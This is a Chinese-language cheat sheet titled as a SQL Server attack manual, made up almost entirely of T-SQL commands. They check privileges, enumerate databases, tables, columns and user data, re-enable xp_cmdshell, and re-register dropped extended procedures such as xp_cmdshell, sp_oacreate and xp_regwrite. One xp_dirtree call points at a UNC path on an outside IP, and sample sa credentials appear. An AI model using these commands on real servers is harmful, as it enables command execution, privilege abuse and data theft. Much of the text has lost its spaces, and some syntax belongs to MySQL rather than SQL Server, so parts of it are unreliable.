SQLserver攻击手册（一）（上）

判断是否是SA权限
select is_srvrolemember('sysadmin')     
判断是否是db_owner权限  
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')

select @@version;       #查询数据库的版本
select @@servername;    #查询服务名
select host_name();     #查询主机名，如果是用navicat远程连接的话，主机名是本地的名字
select db_name();       #查询当前数据库名
select db_name(1);      #查询第一个数据库名
select db_name(2);      #查询第二个数据库名
selectuser;            #查询当前数据库的拥有者，结果为 dbo。dbo是每个数据库的默认用户，具有所有者权限，全称：datebaseOwner ，即DbOwner 
use tempdb              #切换到tempdb表  
top n                   #查询前n条记录
limit2,3#查询第2条开始的3条数据，也就是2,3,4
selectsubstring('string',2,1)     #截取给定字符串的索引为2的1个字符
selectascii('a')                  #查询给定字符串的ascii值
selectlen('string')               #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
sp_spaceused '表名'                #查询指定表名的大小
EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;
 
#判断是否是SA权限
select is_srvrolemember('sysadmin')     
#判断是否是db_owner权限  
select is_member('db_owner')
#判断是否是public权限
select is_srvrolemember('public')
 
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
 
count(name)是查询总数
name是查询名字
*是查询详细信息
 
#查询数据库
selectcount(name) from sysdatabases     #查询数据库的个数,只有当前数据库是master的时候，才能执行该命令
selectnamefrom sysdatabases           #查询数据库的名字
select * from sysdatabases               #查询所有数据库的信息
 
#查询数据表
selectcount(name) from sysobjects wheretype='U'#查询当前数据库中表的个数
selectnamefrom sysobjects wheretype='U'#查询当前数据库中所有表的名字
select * from sysobjects wheretype='U'#查询当前数据库的所有表的详细信息
 
selectcount(name) from test..sysobjects where xtype='U'#查询指定test数据库中表的个数
selectnamefrom test..sysobjects where xtype='U'#查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U'#查询指定test数据库中表的详细信息
 
#查询列
selectcount(name) from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')            #查询当前数据库的指定users表的列的个数
selectnamefrom test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')         #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')      #查询当前数据库的指定users表的列的详细信息
 
selectcount(name) from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')     #查询指定test数据库的指定users表的列的个数
selectnamefrom test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')       #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns whereid=(selectmax(id) from test..sysobjects where xtype='u'andname='users')       #查询指定test数据库的指定users表的列的详细信息
 
#查询数据
selectcount(*) from test..users     
#查询test数据库user表的数据的条数
select * from test..users
#查询test数据库user表的所有数据

select * from master.dbo.sysobjects where xtype='x'andname='xp_cmdshell'    selectcount(*) FROM master..sysobjects Where xtype = 'X'ANDname = 'xp_cmdshell'#结果是1 xp_cmdshell打开

declare @RunningOnACluster char(1)
declare @xp_cmdshell_available char(1)
declare @resultint
set @xp_cmdshell_available='Y'
set @result=0
select @RunningOnACluster=case
whenconvert(int, serverproperty('IsClustered')) = 1then'Y'
else'N'
end
if(0=(select value_in_use from sys.configurations wherename='xp_cmdshell'))
set @xp_cmdshell_available='N'if @RunningOnACluster='Y'
begin
if @xp_cmdshell_available='Y'
select @result=1
if @xp_cmdshell_available='N'
select @result=2
end
select @result

#两条同时执行
exec sp_configure 'showadvanced options', 1; reconfigure with override ; 
exec sp_configure 'xp_cmdshell',1; reconfigure with override ;

dropprocedure sp_addextendedproc
dropprocedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

dbcc addextendedproc("sp_oacreate","odsole70.dll") dbcc addextendedproc("xp_cmdshell"," ")
 /* addextendedproc：将新扩展存储过程的名称注册到 Microsoft SQL Server【后续版本的 Microsoft SQL Server 将删除该功能。后续会使用CLR集成】 */

dbcc addextendedproc("xp_cmdshell","xplog70.dll")

if not exists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_cmdshell]'))
dbcc addextendedproc ('xp_cmdshell','xplog70.dll') 
ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_dirtree]')) 
dbcc addextendedproc ('xp_dirtree','xpstar.dll') 
ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_fixeddrives]')) 
dbcc addextendedproc ('xp_fixeddrives','xpstar.dll') ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_regwrite]')) 
dbcc addextendedproc ('xp_regwrite','xpstar.dll') 
ifnotexists (select * from dbo.sysobjects whereid = object_id(N'[dbo]. [xp_regread]')) 
dbcc addextendedproc ('xp_regread','xpstar.dll')